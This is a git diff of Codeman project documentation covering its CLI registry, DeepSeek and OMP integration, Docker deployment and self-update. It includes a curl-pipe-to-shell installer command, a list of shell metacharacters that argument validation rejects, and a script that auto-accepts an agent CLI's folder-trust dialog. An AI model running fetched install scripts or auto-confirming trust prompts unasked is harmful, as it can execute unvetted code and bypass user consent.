+Reading the current frame is also what keeps this correct on later runs: the dialog +text stays in the terminal buffer for the life of the session, so a `trust` probe +with `from=buffer` keeps matching long after the dialog is gone. A worked version is in [`extending-codeman.md`](extending-codeman.md#seam-3-http-api-and-cli). ### `GET /api/v1/sessions/:id/wait` diff --git a/docs/cli-registry.md b/docs/cli-registry.md new file mode 100644 index 00000000..41e3c1b3 --- /dev/null +++ b/docs/cli-registry.md @@ -0,0 +1,130 @@ +# The CLI registry + +Every run mode Codeman can launch — Claude Code, Terminal/Shell, OpenCode, Codex, Gemini, Antigravity, Pi, Grok, DeepSeek Harness and OMP — is a `CliEntry`: a data record describing how to find the binary, how to build its command line, what environment it needs, and what it can do. Code that used to ask "which CLI is this?" asks the entry instead. + +## Where it lives + +| File | What it holds | +| ------------- | ------------------------------------------------------------------------------------------------- | +| `types.ts` | The `CliEntry` interface and everything under it. Read this first. | +| `stock.ts` | The shipped catalog. **The only file allowed to name a CLI id.** | +| `schema.ts` | Zod validation, including the cross-field checks that reject an incoherent entry at LOAD time. | +| `argv.ts` | The argv engine: the only code that turns typed tokens into a command string. | +| `patterns.ts` | The NAMED value patterns (`model`, `uuid`, `path-segment`, …) and the regex-compilation guard. | +| `profiles.ts` | The names of behaviours that genuinely need code, kept import-free so `schema.ts` can validate one. | +| `registry.ts` | Loading, merging `~/.codeman/clis.json`, and the accessors (`getCli`, `enabledClis`). | + +`src/session-cli-registry-bridge.ts` maps the legacy per-mode option bag onto the engine, and `src/utils/cli-resolver.ts` / `src/utils/cli-launcher.ts` do registry-driven binary resolution and launcher-profile dispatch. + +## The override file + +`~/.codeman/clis.json` (instance-scoped through `dataPath()`) holds overrides and custom entries only, never a copy of the stock catalog: `{ "clis": { "": { ...partial entry... } } }`. Objects merge key-wise onto the stock entry, arrays replace wholesale. **The file must be mode 0600**; the loader refuses any group/world permission bit, read bits included, so a file created with a normal umask (0644) is ignored until you `chmod 600` it. Every reason a file was ignored or an entry dropped is logged once, prefixed `[cli-registry]`, on the first load. A stock entry whose override fails validation falls back to the shipped definition; a custom entry that fails is dropped. The file is read once per process and re-read only on restart. + +## The shape of an entry + +```ts +interface CliEntry { + id: CliId; // 'codex' + label: string; // 'Codex' — shown in menus + shortBadge: string; // tab badge, e.g. 'CX' + accent: string; // single hex colour + enabled: boolean; + stock: boolean; // set by the loader; a custom entry can never claim it + order: number; + kind: 'agent' | 'shell'; + discovery: CliDiscovery; // how to find and prove the binary + launch: CliLaunch; // the structured argv template + env: CliEnv; // exports, tmux setenv keys, the env-override allowlist + capabilities: CliCapabilities; // what every call site reads instead of the id + overlays: CliOverlays; // remote-SSH / Docker pane commands, credential store +} +``` + +`capabilities` is the important part. It is what `isExternalCliMode()`, `isAltScreenStripMode()`, `hooksAvailableForMode()` and every other former per-mode branch actually read. + +### Three capabilities that must stay independent + +`external`, `hooks` and `altScreen` describe three different, deliberately unequal sets, and deriving any one from another has already shipped a bug. `shell` has no hooks but is **not** an external CLI, so a hooks predicate written as `!isExternalCliMode()` accepted `until=stop` on a shell session and then blocked the caller for their entire timeout. `deepseek` is the mirror image: it IS external and it DOES have hooks. + +`test/cli-capability-predicates.test.ts` asserts that no two of the three are equivalent across the catalog, so collapsing them fails the build rather than a user's session. + +## Arg-template safety + +The composed command line is interpolated into `bash -c "…"` inside tmux, which makes command construction a security boundary. Four independent layers keep config out of it: + +1. **Config contains no shell text.** There is no `command: "..."` field anywhere in the schema. An entry declares a sequence of typed tokens; `argv.ts` is the only place that turns them into a string, and it owns every separator itself — one space between tokens, ` || ` between fallback variants. Neither can originate from config, because config has no field that could hold either. +2. **Every literal is validated at LOAD time** against a safe-word pattern (no space, quote, backtick, `$`, `;`, `&`, `|`, redirection, parens, braces, newline or backslash). A bad literal **rejects the whole entry** rather than being dropped, because a silently dropped flag would change security-relevant behaviour — losing `--no-approve` is not a cosmetic difference. +3. **Values resolve through NAMED patterns.** A value placeholder selects a `TokenPattern` (`model`, `uuid`, `slug`, `path-segment`, `tool-list`, …) from `patterns.ts`; config can never supply its own regex for a value, so a `clis.json` structurally cannot widen its own validation. A value that fails its pattern drops the whole argument, exactly as the hand-written builders did: an invalid `--model` omits `--model`, it never substitutes something else. +4. **Escaping is independent of validation.** `renderToken()` re-checks the resolved value before emitting it unquoted, and single-quotes anything else — so even a value that somehow bypassed validation is quoted, never concatenated raw. + +The only config-supplied regexes are `discovery.version.regex` and `discovery.identity.regex`. Both run against **command output** rather than a shell token, both are compiled through `compileVersionRegex()` (length cap, nested-quantifier rejection, never the `g` flag), and the output they see is truncated first. + +## Named profiles: the escape hatch + +Some differences genuinely need to run code rather than be described. Those are **named profiles**: a capability field holds a profile NAME, and the implementation lives in one place keyed by that name — never by CLI id. + +- `discovery.launcherProfile` — for a CLI whose binary is not the agent. `dsh` boots `$DSH_HOME/profiles/`, so "installed" and "runnable" have different answers; the profile answers both, plus why a specifically-named target will not work. Implemented in `utils/cli-launcher.ts`. +- `env.setenvProfile` — per-CLI environment setup that is more than a list of keys, such as DeepSeek's status bridge. +- `capabilities.transcript` — which on-disk history reader understands this CLI (`claude-jsonl`, `codex-rollout`, `deepseek-zstd`, `omp-jsonl`, `none`). +- `capabilities.echo.predictProfile` — the predictive-echo model a composer needs. + +The names live in `profiles.ts`, which is kept free of imports so `schema.ts` can validate a name at load time. A profile this build does not implement is a load-time error naming the field, rather than a CLI that silently looks permanently uninstalled. + +## DeepSeek: the four assumptions it breaks + +DeepSeek is worth reading before assuming an entry looks like its siblings — the schema carries four extensions because of it. + +| What it breaks | How the registry expresses it | +| ------------------------------------------------------------------------------------------------ | ------------------------------------------------------------------------------------------------------------------------------ | +| `dsh` is a profile LAUNCHER, not the agent, so "installed" is not "runnable". | `discovery.launcherProfile` + `discovery.launcherTargetParam`. | +| Its permission switch is the **`DSH_PERMISSION_MODE` env var**, not a flag — the harness has none. | `env.configSetenv` (so the ordinary `privilegedParams` clamp still reaches it) **and** `capabilities.privilegedEnvKeys`. | +| It is the only non-claude mode with real hook signals, and for it that is a per-SESSION question. | `capabilities.hooks: 'supervised'` — a third state, not a boolean. | +| Its transcript is zstd session files, one frame per write. | `capabilities.transcript: 'deepseek-zstd'`. | + +## Identity probes + +`discovery.identity` asks the binary whether it is the program we meant, and it runs **before** the version probe, because a version probe cannot tell an impostor from the real thing. Debian ships an unrelated `dsh` (dancer's shell) that answers `--version` perfectly happily, and npm carries squatters for both `pi` and `grok`. + +`discovery.version.requireVersionMatch` is the weaker companion: a binary whose version output has the wrong shape counts as ABSENT rather than present-with-unknown-version. That is what a short, generic binary name needs, and it is what keeps `codeman doctor` and the run mode from telling the user opposite things about the same binary — both read the same regex off the same entry. + +## The no-id-branching rule + +`test/cli-registry-no-id-branching.test.ts` fails the build if a CLI id comparison appears outside the stock catalog. It builds its id list from the live catalog, blanks comment lines before scanning (comments legitimately quote the pattern to explain why a branch was removed, and blanking rather than dropping is what keeps reported line numbers pointing at the real file), and keeps an allowlist in which **every entry carries its reason**. + +It matches four shapes, not one: `mode === ''`, `mode !== ''`, `case '':`, and `['', …].includes(mode)`. The first version matched `===` only, and that gap was not academic — the refactor it guards converted the `===` sites and left the negated ones, so 36 `!==` branches survived it, including a seven-mode chain auto-enabling Ralph under a comment asking the next person to keep it in step with a predicate by hand while the sibling code path already read the capability. A guard that sees half the shapes reports a count measured over the half it happens to catch. + +The allowlist is not a formality. If a branch is about what a CLI can DO it belongs in `CliCapabilities`; the entries that remain are things that are not CLI-behaviour branches at all — chiefly the legacy per-mode `Config` objects on `POST /api/sessions`, which are a fact about the public HTTP API rather than about any CLI, plus a few documented cases where `mode === 'claude'` is genuinely the right question (Read My Mind reads Claude's _own_ transcript, so a capability there would be actively wrong). + +## Two namespaces called `param` + +`launch.params` keys, `env.configSetenv[].fromParam` and `capabilities.privilegedParams[].param` all name a **launch param**. The **legacy wire field** a param arrives as is a separate namespace, and `launch.legacyConfigAliases` is the only bridge between the two. + +This matters because it is invisible when it is wrong. `capabilities.privilegedParams[].param` is the multi-user bypass clamp's only handle on a CLI's privilege switch, and a name from the wrong namespace clamps **nothing**: no load error, no failing test, the clamp simply stops running. Codex is the entry where the two names differ (`bypassApprovals` as the param, `dangerouslyBypassApprovals` on the wire), so it is the one that catches a regression. `schema.ts` rejects any entry naming a param it never declared, on both `configSetenv.fromParam` and `privilegedParams.param`. + +## Fields declared for later + +`shortBadge`, `accent`, `capabilities.echo`, `capabilities.wheelForward`, `capabilities.keyboardAccessory` and `capabilities.maxFrameBytes` are **declared but not yet read**. They all describe frontend behaviour, and the frontend is deliberately untouched here: `app.js`, `terminal-ui.js` and `styles.css` keep their own hand-authored per-CLI rules, and moving them is its own piece of work verified by a browser/mobile suite the CI gate cannot see. + +Treat those values as **transcribed, not authoritative** — nothing enforces that `echo.policy` matches `_updateLocalEchoState`'s fallthrough, or that `accent` matches the gradient CSS paints, so re-measure before wiring one up. A field that is both wrong and unread is worse than an absent one, because the next reader trusts it; `test/cli-registry-no-id-branching.test.ts` pins the list so it cannot quietly grow, and wiring one up makes its line there fail, which is the direction you want. + +`overlays.credStore` is in the same category, for a sharper reason: the Docker credential-seeding path still reads its own `CRED_STORES` table, because this shape allows ONE store per CLI and the live table needs two for gemini (`.gemini` for the CLI's own auth plus `.config/gcloud` for Vertex), while deepseek declares none here even though `.dsh` is seeded. Wiring it means making the field an array and correcting those two entries — a change to credential seeding, which is simultaneously the worst thing here to get wrong and the least covered by tests, since every docker IO path is no-op'd under vitest. + +Everything else in the interface is live, including `overlays.remote` / `overlays.docker`, which back `defaultRemoteCommandForMode()` and `defaultDockerCommandForMode()` directly. Those two used to be hardcoded `Record<…CommandMode, string>` tables duplicating the registry with nothing keeping the two in step; `test/location-overlay-commands.test.ts` pins every resulting command as a literal string. + +## Resolve at call time, never at import + +Anything reading the registry must resolve it when it is asked, not when its module is first imported. `sessionModeSchema()`, `allowedEnvPrefixes()`, `dependencyRegistry()` and each resolver's `searchDirs` thunk all re-read the catalog per call. + +A module-level const freezes at first import, and the failure is asymmetric: a CLI enabled while the server is running moved the run menu but not the frozen surface, so validation rejected a mode the menu offered, or `codeman doctor` reported a catalog nobody had any more. + +## Adding a CLI + +1. Add a `CliEntry` to `stock.ts`. +2. Add a golden spawn-command pin to `test/cli-registry-spawn-golden.test.ts`, a row to `test/cli-capability-predicates.test.ts`, and its remote/docker commands to `test/location-overlay-commands.test.ts`. +3. That is usually all. If you find yourself wanting to add an `if` somewhere, the guard test will tell you — and the answer is a capability field, or a named profile if it genuinely needs to run code. + +## See also + +- [Agent CLIs](wiki/Agent-CLIs.md) — the user-facing per-CLI guide. +- `docs/architecture-invariants.md` — the mechanics and the history behind the rules above. +- `docs/deepseek-integration.md` — why DeepSeek is shaped the way it is. diff --git a/docs/deepseek-integration.md b/docs/deepseek-integration.md index de142648..8232af92 100644 --- a/docs/deepseek-integration.md +++ b/docs/deepseek-integration.md @@ -47,6 +47,14 @@ By hand, or to pick a different front door: dsh plugin --profile dsh-tui add @deepseek-harness-tui/dsh-tui ``` +⚠️ **`pnpm` has to be on PATH for either route.** `dsh plugin` is a thin forwarder +that spawns a literal `pnpm` with no npm fallback, so without one it exits 127 with +`dsh: pnpm not found on PATH` — both by hand and behind the UI button, which +surfaces that same line as the install error. `npm install -g pnpm` (or +`corepack enable pnpm`) is the fix. This is what broke the Docker agent image in +[#352](https://github.com/Ark0N/Codeman/issues/352); the image now installs pnpm +alongside `dsh`. + Codeman's default is `@deepseek-harness-tui/dsh-tui` because it is by a wide margin the most used community TUI, it is MIT, and it implements the status contract described in §3. It is a **default, not a requirement**: any profile diff --git a/docs/docker-compose.md b/docs/docker-compose.md new file mode 100644 index 00000000..f2add195 --- /dev/null +++ b/docs/docker-compose.md @@ -0,0 +1,78 @@ +# Docker Compose deployment + +This configuration builds the Codeman application image locally from this checkout. It does not download or depend on a pre-built Codeman image. + +For the Compose configuration, environment settings, storage migration, and macvlan networking examples, see the [Docker deployment guide](../docker/README.md). + +The image includes Claude Code, Codex, Gemini CLI, and OpenCode. Authenticate a CLI from its Codeman session; credentials are never baked into the image. + +## Prerequisites + +- Docker Engine or Docker Desktop with Docker Compose v2 +- A reachable Docker daemon + +The application container mounts the Docker daemon socket so Codeman can create and manage its isolated Docker cases. Treat anyone who can administer this Compose project as having Docker-host-equivalent access. + +## Start + +Copy the environment template, set a strong password, and confirm `CODEMAN_APPDATA_PATH`. The example maps `/mnt/user/appdata/Coding/codeman` on the host to `/home/${CODEMAN_RUNTIME_USER}` in the container, preserving Codeman state and CLI credentials outside Docker-managed volumes. + +```sh +cp docker/.env.example docker/.env +``` + +On PowerShell, use the following command instead. + +```powershell +Copy-Item docker/.env.example docker/.env +``` + +On Linux, run the stack with the start script. It determines `PUID` and `PGID` from the owner of `CODEMAN_APPDATA_PATH`, and `DOCKER_SOCKET_GID` from the configured Docker socket, before invoking Compose. A root-owned application-data directory is rejected so the runtime account cannot become UID 0. + +```sh +bash docker/Start-Codeman.sh +``` + +On other platforms, run Compose directly. `PUID` and `PGID` default to `1000:1000`; set them in `docker/.env` when the application-data directory has a different owner. + +```sh +docker compose --env-file docker/.env -f docker/docker-compose.yaml up --build -d +``` + +Open `http://localhost:3000` and sign in with the username and password from `docker/.env`. + +## Operations + +The local image is tagged `codeman:local` by default. Change `CODEMAN_IMAGE` in `docker/.env` if a different local tag suits your environment. + +```sh +docker compose --env-file docker/.env -f docker/docker-compose.yaml logs -f codeman +bash docker/Start-Codeman.sh +docker compose --env-file docker/.env -f docker/docker-compose.yaml down +``` + +`CODEMAN_APPDATA_PATH` holds Codeman state and survives container recreation. Remove that host directory only when deliberately resetting the installation. + +`CODEMAN_CASES_PATH` must be an absolute path on the Docker host. Compose mounts it at the same path inside Codeman, so the host daemon can bind the managed workspace into isolated Docker cases. Do not set it to `/home/${CODEMAN_RUNTIME_USER}/codeman-cases`. + +Compose passes `CODEMAN_APPDATA_PATH` into Codeman as `CODEMAN_DOCKER_HOST_HOME`. Codeman uses that value to translate generated Docker seed, credential and hook-secret bind sources from the container's home path into paths visible to the host Docker daemon. + +If `docker info` reports `SwapLimit=false`, set `CODEMAN_DOCKER_DISABLE_SWAP_LIMIT=1`. Isolated cases retain their configured memory limit. Codeman omits the unsupported swap-limit option and filters only the daemon's exact swap-capability warning while retaining every other Docker create error. + +If that directory was created by an earlier root-running image, change its ownership to the configured `PUID:PGID` before starting this version. This preserves existing CLI credentials and session state while allowing the unprivileged runtime account to use them. + +## Updating + +Codeman updates itself from **App Settings → Updates**, as it does on a bare host. The checkout mounted at `/opt/codeman` is the same directory Compose builds from, so the update's `git checkout` and rebuild land on the host and survive container recreation; the restart is the server exiting, which `restart: unless-stopped` turns into a relaunch on the new build. + +That applies application code only. A release that changes `docker/server.Dockerfile`, `docker/docker-compose.yaml`, or adds a key to `docker/.env.example` needs the image rebuilt or the container recreated, which a container cannot do to itself. The updater detects each case and refuses with a message naming what changed; run `docker/Start-Codeman.sh` on the host to apply those. + +`CODEMAN_REPO_PATH` overrides which checkout is mounted. It defaults to the compose project's parent directory, so it normally needs no setting. Point it at a directory that is not a git checkout and in-app updates are reported as unavailable. + +Full detail, including the fingerprint baseline and the troubleshooting table: [`docker-self-update.md`](docker-self-update.md). + +## Docker cases + +The default socket path is `/var/run/docker.sock`, which works with a standard Linux Docker Engine. The Bash start script detects its numeric group ID. When running Compose directly, set `DOCKER_SOCKET_GID`, for example using `stat -c '%g' /var/run/docker.sock`, so the unprivileged `CODEMAN_RUNTIME_USER` account can create Docker cases. Docker Desktop users should set `DOCKER_SOCKET` in `docker/.env` only when their Docker installation exposes a different compatible socket path. + +Codeman Docker cases are sibling containers on the host daemon, not children of the application container. The Compose configuration handles their workspace bind mount through `CODEMAN_CASES_PATH`; the `/home/${CODEMAN_RUNTIME_USER}` application-data mapping is for Codeman state and ordinary in-container sessions, not sibling-case workspaces. diff --git a/docs/docker-self-update.md b/docs/docker-self-update.md new file mode 100644 index 00000000..6521abd0 --- /dev/null +++ b/docs/docker-self-update.md @@ -0,0 +1,218 @@ +# Self-update in the Docker Compose deployment + +Codeman running as a container updates itself from **App Settings → Updates**, the +same place and the same button as a bare-host install. This document explains how +that works, what it deliberately refuses to do, and how to recover when it stops. + +The bare-host updater is documented in +[`architecture-invariants.md#self-update`](architecture-invariants.md#self-update); +this file covers only what the container changes. + +## The short version + +| Change in the release | Applied by | +| -------------------------------- | ------------------------------------------------ | +| Application code | The in-app updater | +| `docker/server.Dockerfile` | `docker/Start-Codeman.sh` on the host | +| `docker/docker-compose.yaml` | `docker/Start-Codeman.sh` on the host | +| New key in `docker/.env.example` | Add it to `docker/.env`, then `Start-Codeman.sh` | + +The in-app updater detects all three of the bottom rows itself and refuses with a +message naming what changed, so you never have to work out which case you are in. + +## Why the container needs its own path + +The bare-host updater does `git checkout && npm install && npm run build`, +then asks systemd or launchd to restart the service. Two of those assumptions are +false in a container: + +1. **There is no init system.** A container's supervisor is the Docker daemon, + which acts on the container, not on processes inside it. +2. **The image is immutable.** A `git pull` into the image's baked `/opt/codeman` + would land in the container's writable layer, survive `docker restart`, and be + silently discarded by the next `docker compose up`. + +Both are solved by configuration rather than by a second updater: + +- **The checkout is a host bind mount.** `docker-compose.yaml` mounts the repo + (the same directory used as the build context) over `/opt/codeman`, so the + updater's `git checkout` writes to the host filesystem and survives the + container being recreated. +- **The restart is the server exiting.** `restart: unless-stopped` relaunches the + container whenever its main process ends, including on a clean exit — so the + updater's final step is to signal the server, and Docker starts it again on the + freshly built `dist/`. + +Everything else — the release-tag channel, the auto-stash, the atomic +`update-status.json` the browser polls across the connection drop, the boot-time +reconcile that flips `restarting` to `completed` — is the existing machinery, +unchanged. The container path is a new `SupervisorKind`, not a new updater. + +## What the pieces are + +| Piece | Role | +| ---------------------------------------------- | ------------------------------------------------------------------- | +| Repo bind mount at `/opt/codeman` | Makes the pull persistent. Without it, self-update is unavailable. | +| `codeman-node-modules`, `codeman-dist` volumes | Container-owned build artefacts, layered over the bind mount. | +| `CODEMAN_IN_CONTAINER=1` | Tells `detectSupervisor()` to restart by exiting. | +| `restart: unless-stopped` | Turns that exit into a restart. Verified before every update. | +| `CODEMAN_RESTART_BY_EXIT=1` | The Compose file's declaration of that policy, so the updater may exit even with no Docker socket. | +| Toolchain + devDependencies in the image | Lets `npm install` and `npm run build` run inside the container. | +| `docker-env-applied.json` | Fingerprint baseline, written by `Start-Codeman.sh` on every start. | + +### Why build artefacts are in named volumes + +`node_modules` and `dist` are mounted as named volumes **on top of** the repo bind +mount. Without that, an update's `npm install` would write into the host checkout, +leaving container-compiled native modules (node-pty builds from source here) in a +directory that may also be used to run Codeman natively, and leaving `git status` +permanently noisy. + +Docker seeds an empty named volume from the image, so the first start inherits the +image's already-built `node_modules` and `dist` and pays no bootstrap cost. +`docker compose down -v` is the supported reset: the next start re-seeds them. + +### Why the runtime image carries a build toolchain + +`npm run build` is `tsc` plus `esbuild`, both devDependencies, so the image no +longer runs `npm prune --omit=dev`. And `npm install` may rebuild node-pty, which +ships no Linux prebuild, so `python3`, `make` and `g++` are installed as well. + +This is the real cost of in-place updates: a noticeably larger image than a +runtime-only one. It buys an update that takes about a minute instead of a full +image rebuild, and it is why `NODE_ENV=production` is paired with an explicit +`npm install --include=dev` in the updater. + +## The environment gate + +An in-place update applies **code only**. A restarted container reuses its existing +image and configuration, so a release that changes the environment cannot take +effect that way — and would half-apply: new code against an old environment. The +updater therefore checks the **target release's own files**, read straight out of +git with `git show :` before anything is checked out. + +### 1. `server.Dockerfile` changed, so the image must be rebuilt + +Compared by sha256 against the fingerprint `Start-Codeman.sh` recorded when the +running container was built. + +### 2. `docker-compose.yaml` changed, so the container must be recreated + +Same mechanism. A restart cannot pick up a new mount, port or environment +variable; only recreating the container can. + +### 3. `.env.example` gained keys your `.env` has no value for + +The check that matters most, because **Compose will not tell you**. An unset +`${VAR}` interpolates to the empty string; Compose prints a warning to a terminal +nobody is watching and starts anyway. A new required setting therefore arrives as +a silently blank environment variable and misbehaves later, far from the cause. +The updater names the missing keys instead. + +Commented-out lines in `.env.example` are deliberately *not* keys — that is how +the file marks optional overrides such as `# PUID=1000`, and counting them would +block updates on settings you are meant to leave alone. + +### 4. A restart policy that would not bring the container back + +Before signalling the server, the updater asks the Docker daemon for its own +container's restart policy. If it is `no`, the update is refused: applying it +would take Codeman down and leave no UI to recover from. + +If the policy cannot be read at all (no Docker socket mounted) the update is +still allowed, but the final step changes: the server exits only when the +Compose file declared `CODEMAN_RESTART_BY_EXIT=1` (the shipped one does, because +it is the file that sets `restart: unless-stopped`) or the daemon confirmed an +auto-restart policy. Otherwise the build completes and the panel asks you to +restart the container by hand. A container started by plain `docker run` with no +restart policy therefore gets a staged update, never an outage. + +### What the gate deliberately does not do + +Every unknown fails **open**: + +- A missing fingerprint baseline (a container started before this feature existed) + is not treated as a change, or those installs could never update at all. +- An unreadable `.env`, an unreachable Docker socket, or a target tag whose files + cannot be read all yield "no blocker" rather than a refusal. + +The one place an unknown does NOT fail open is the kill itself: with neither the +Compose declaration nor a daemon answer, the updater stages the build and asks +for a manual restart rather than exiting a server nothing may bring back. + +The gate catches a specific, detectable class of mistake; it is not a last line of +defence. It is also re-evaluated server-side on `POST /api/system/update`, so +hiding the button in the UI is a courtesy rather than the control. + +## The one residual risk + +The gate is derived from the diff, so it cannot see a release that needs a newer +environment **without changing any of those files** — for example, code that +depends on newer agent-CLI behaviour. + +That is why the four global CLIs in `server.Dockerfile` are **pinned**. Unpinned, +the versions a user ends up with are a function of when their image was built +rather than of any commit, and in-app updates make rebuilds rarer, which makes +that drift worse over time. Pinned, "this release needs a newer CLI" becomes a +Dockerfile change, which check 1 already detects. Bump them deliberately, as part +of a release. + +The complementary merge-side guard is `test/docker-compose-env-parity.test.ts`, +which fails CI when a variable is added to `docker-compose.yaml` without an entry +in `.env.example`, or the reverse. + +## Sequence of an in-place update + +1. **Check** — `GET /api/system/update/check` finds the latest release tag, fetches + that one ref so the gate can read the target's files, and returns any blockers. +2. **Start** — `POST /api/system/update` re-evaluates the gate, writes `queued` to + `update-status.json`, stages `self-update.sh` outside the repo and runs it. +3. **Apply** — stash if dirty, fetch the tag, check it out, `npm install + --include=dev`, `npm run build`. A failure at any step rolls back to the + previous commit, rebuilds it and reports `failed`; the server is never + restarted into a broken build. +4. **Restart** — write the terminal `restarting` marker, then signal the server. + The container exits and Docker restarts it. +5. **Reconcile** — the rebooted server compares its own version against the target + and flips the status to `completed` or `failed`. The browser, still polling, + picks that up. + +Step 4 kills the updater script along with the container — unlike the systemd +path, it does not outlive the restart. That is safe only because the terminal +marker is written first, which is why nothing may be appended after the kill. + +## Troubleshooting + +**"This install can't update itself (unknown)"** — the repo bind mount is missing, +so the container is running the baked image copy. Check `CODEMAN_REPO_PATH` and +confirm the mounted directory really contains `.git`. + +**The update fails immediately with a git ownership or permission error** — the +mounted checkout belongs to a different user than the one Codeman runs as +(`PUID`), so git refuses it as "dubious ownership". `Start-Codeman.sh` warns +about this at start; fix it by chowning the checkout to the same account that +owns `CODEMAN_APPDATA_PATH`. + +**A rebuild is reported as required every time** — the fingerprint baseline does +not match the checkout. `Start-Codeman.sh` writes it on every start, so start +through that script rather than a bare `docker compose up` after either file +changes. + +**Codeman does not come back after an update** — the build succeeded, since the +updater gates the restart on it, so read the container logs with `docker compose +logs codeman`. To roll back, check out the previous tag in the host checkout and +run `docker/Start-Codeman.sh`. + +**The update failed during `npm install`** — most likely a native rebuild with no +toolchain, meaning the image predates the toolchain being added. Rebuild once from +the host and the in-app path works from then on. + +**Resetting the build artefacts** — `docker compose down -v`, then +`Start-Codeman.sh`. This discards the named volumes and re-seeds them from a fresh +image. + +## Disabling it + +Set `CODEMAN_DISABLE_SELF_UPDATE=1` in `docker/.env` and pass it through in the +compose file's `environment:` block. The Updates panel then reports that in-app +updates are disabled, and the host-side script is the only way to update. diff --git a/docs/extending-codeman.md b/docs/extending-codeman.md index e2924499..2d440485 100644 --- a/docs/extending-codeman.md +++ b/docs/extending-codeman.md @@ -228,6 +228,14 @@ window: the wait resolves on `idle` in a couple of seconds with `timedOut: false indistinguishable from a finished turn. Wait for the pid, then wait for the composer, answering the dialog only as the bounded fallback. +⚠️ **Answering it is not "press Enter".** Claude Code 2.1.252 dropped the options' +numbers, reversed them, and highlights `No, exit` by default, so a blind `\r` quits +the CLI and the pane is dead seconds after the spawn. Read the `❯` marker off the +rendered pane (`GET .../terminal?full=1`), send `ESC [ B` while it sits on `No, exit`, +re-read, and confirm only once the marker is on `Yes, I trust this folder`. Codeman's +own auto-accept (`trustDialogNextKey()` in `src/session-trust-dialog.ts`) does exactly +this, inside a 90 s startup window and a 6-keystroke cap. + A worked orchestration: start a worker, get it ready, prompt it, wait, clean up. ```bash @@ -244,24 +252,36 @@ SID=$("${CURL[@]}" -X POST "$API/api/v1/quick-start" \ [ -n "$SID" ] && [ "$SID" != null ] || { echo "quick-start failed"; exit 1; } # 2. READINESS: composer marker first, trust dialog only as the bounded fallback. -# Skip this and step 3 reports a turn that never ran. Do NOT probe trust first -# and Enter blindly: the dialog text stays in the buffer for the life of the -# session, so on every later run that probe matches stale text and the Enter -# lands in a ready composer. Match single tokens only: TUI text can arrive -# without its spaces. Stage 1 is short on purpose (an already-trusted case -# matches in <1 s; a first-run case can never pass it and pays it in full). +# Skip this and step 3 reports a turn that never ran. Match single tokens only: +# TUI text can arrive without its spaces. Stage 1 is short on purpose (an +# already-trusted case matches in <1 s; a first-run case can never pass it and +# pays it in full). +# ⚠️ NEVER answer the dialog with a bare \r. Its highlighted option is `No, exit` +# (claude-cli 2.1.252), so a blind Enter quits the CLI; and the dialog text stays +# in the buffer for the life of the session, so a `from=buffer` probe for `trust` +# keeps matching long after it is gone. Read the CURRENT pane instead and steer. until [ "$("${CURL[@]}" "$API/api/v1/sessions/$SID" | jq '.data.pid')" != null ] do sleep 1; done R=$("${CURL[@]}" -G "$API/api/v1/sessions/$SID/wait-output" \ --data-urlencode 'match=bypass' --data-urlencode 'from=buffer' \ --data-urlencode 'timeout=5000') # composer's status bar = ready if ! jq -e '.data.wait.matched' <<<"$R" >/dev/null; then - T=$("${CURL[@]}" -G "$API/api/v1/sessions/$SID/wait-output" \ - --data-urlencode 'match=trust' --data-urlencode 'from=buffer' \ - --data-urlencode 'timeout=2000') - jq -e '.data.wait.matched' <<<"$T" >/dev/null && \ + ESC=$(printf '\033') # \x1b is GNU-sed only; this form also works on macOS + for _ in 1 2 3 4 5 6; do + # Which option the ❯ marker sits on, read off the CURRENT frame. + K=$("${CURL[@]}" -G "$API/api/v1/sessions/$SID/terminal" --data-urlencode 'full=1' \ + | jq -r '.data.terminalBuffer // empty' \ + | sed -e "s/$ESC\[[0-9;?]*[a-zA-Z]//g" -e "s/$ESC[()][AB0]//g" | tr -d ' \t' \ + | grep -i '❯[0-9.]*\(yes,itrustthisfolder\|no,exit\)' | tail -1 \ + | sed -e 's/.*[Yy]es,.*/confirm/' -e 's/.*[Nn]o,.*/move/') + [ -n "$K" ] || break # no dialog on screen: nothing to answer + [ "$K" = confirm ] && IN="\r" || IN="$ESC[B" "${CURL[@]}" -X POST "$API/api/v1/sessions/$SID/input" \ - -H 'Content-Type: application/json' -d '{"input":"\r","useMux":true}' >/dev/null + -H 'Content-Type: application/json' \ + -d "$(jq -nc --arg i "$IN" '{input:$i,useMux:true}')" >/dev/null + [ "$K" = confirm ] && break + sleep 1 # re-read: confirm the arrow landed + done "${CURL[@]}" -G "$API/api/v1/sessions/$SID/wait-output" \ --data-urlencode 'match=bypass' --data-urlencode 'from=buffer' \ --data-urlencode 'timeout=45000' >/dev/null diff --git a/docs/omp-integration.md b/docs/omp-integration.md new file mode 100644 index 00000000..d4e59dc9 --- /dev/null +++ b/docs/omp-integration.md @@ -0,0 +1,171 @@ +# OMP (Oh My Pi) sessions + +Codeman can drive [OMP](https://github.com/can1357/oh-my-pi) (`omp`, Oh My Pi) as a session +backend, alongside Claude Code, OpenCode, Codex, Gemini, Antigravity, Pi, Grok and +DeepSeek Harness. `omp` is the ninth CLI backend (tenth `SessionMode`, counting +`shell`): its own PTY, its own tmux session, its own tab identity. It is not a +location overlay like Docker or remote-SSH cases, and it is not a web tab. + +## Install + +```bash +curl -fsSL https://omp.sh/install | sh +``` + +The installer places the binary in `~/.local/bin` (verified against a real +`--no-cache` Docker build — see `docker/agent.Dockerfile`; an earlier guess of +`~/.omp/bin` was wrong). Codeman resolves the binary via the server PATH and then +the usual install locations (`~/.local/bin` first, then `~/.omp/bin`, +`/usr/local/bin`, `~/.bun/bin`, `~/.npm-global/bin`, `~/bin`). + +**`omp` is a short name**, so like `pi` and `grok` the resolver does not trust a PATH +hit on its own: it runs `omp --version` and requires `omp/`-shaped output +(e.g. `omp/18.0.8`) before accepting a candidate. Check what it resolved: + +```bash +curl -s localhost:3000/api/omp/status | jq +# { "available": true, "path": "/home/you/.local/bin", "version": "18.0.8" } +``` + +## Authenticate + +OMP owns its own auth and provider configuration entirely in `~/.omp` — there is +no Codeman-side login flow, API key field, or bypass switch to configure. Run `omp` +directly once outside Codeman to complete whatever onboarding the CLI itself asks +for; every session started through Codeman afterward inherits that config. + +## What Codeman wires up + +`OmpConfig` (per session, persisted in `state.json`, round-trips through respawn): + +| Field | Flag | Notes | +| ------------------ | --------------- | ---------------------------------------------------------- | +| `model` | `--model ` | Regex-validated (`[a-zA-Z0-9._-/]+`); `provider/model` forms like `crof/glm-5.2` pass | +| `continueSession` | `--continue` | omp's own "most recent conversation in this directory" heuristic | +| `resumeSessionId` | `--resume ` | Ids only, id-regexed; wins over `--continue` when both are present | + +Every value is regex-validated and **dropped** (not escaped) if it fails, because the +result is interpolated into the pane's spawn command. 